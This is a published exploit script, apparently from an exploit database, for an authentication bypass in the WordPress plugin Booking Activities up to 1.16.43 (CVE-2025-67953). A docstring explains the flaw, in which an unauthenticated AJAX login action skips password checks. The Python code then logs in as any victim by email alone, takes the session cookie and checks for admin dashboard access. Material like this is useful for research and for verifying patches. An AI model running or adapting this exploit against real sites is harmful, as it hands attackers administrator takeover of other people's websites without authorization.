## https://sploitus.com/exploit?id=PACKETSTORM:226456
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Booking Activities <= 1.16.43 - Unauthenticated Authentication Bypass (Login Without Password)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/booking-activities/
# Software Link: https://downloads.wordpress.org/plugin/booking-activities.1.16.43.zip
# Version: 1.16.43 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-67953
"""
Booking Activities <= 1.16.43 registers the unauthenticated AJAX action bookactiSubmitLoginForm
(controller/controller-forms.php:858 wp_ajax_nopriv_bookactiSubmitLoginForm ->
bookacti_controller_validate_login_form) with NO nonce / CSRF check. When login_type=my_account and
the target booking form's login field is configured with password NOT required
(required_fields[password] empty), bookacti_validate_login() looks the account up by email/login and
SKIPS wp_authenticate entirely, then bookacti_log_user_in() calls wp_set_auth_cookie() for that user:
1457 $user = get_user_by( is_email($user_login)?'email':'login', $user_login );
1467 else if($require_authentication){ wp_authenticate(...); } // SKIPPED when password not required
... wp_set_auth_cookie($user->ID, true); // full session as the target
An unauthenticated attacker submits the login form with the victim's email (e.g. the administrator's)
and NO password, receiving a valid administrator session cookie -> full account takeover.
Prior state: plugin active + a booking form whose login field has password NOT required and
login_type 'my_account' available (a "retrieve my booking by email" style form). This is a saved
form setting read from the DB (not attacker-toggleable), so the victim site must be configured that
way. setup_state.sh builds such a form.
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--form-id", default="1")
ap.add_argument("--victim", default="victimba@site.test", help="victim email or login")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
d = {"action": "bookactiSubmitLoginForm", "form_id": args.form_id, "login_type": "my_account",
"email": args.victim, "remember": "1"}
r = s.post(base + "/wp-admin/admin-ajax.php", data=d, timeout=25)
logged = any(c.startswith("wordpress_logged_in") for c in s.cookies.keys())
print(f"[*] Target: {base} | form {args.form_id} | victim: {args.victim}")
print(f"[*] login (no password) -> HTTP {r.status_code} | logged_in cookie: {logged}")
print(f"[*] response: {r.text[:160]}")
if not logged:
print("\n[-] no session cookie (form password-required? wrong form-id/email?)"); return 1
p = s.get(base + "/wp-admin/", timeout=20)
if p.status_code == 200 and "dashboard" in p.text.lower():
print(f"\n[+] AUTH BYPASS CONFIRMED โ unauthenticated caller now holds the victim's session "
f"and reached wp-admin (no password supplied).")
return 0
print(f"\n[-] cookie set but wp-admin not reached ({p.status_code})"); return 1
if __name__ == "__main__":
sys.exit(main())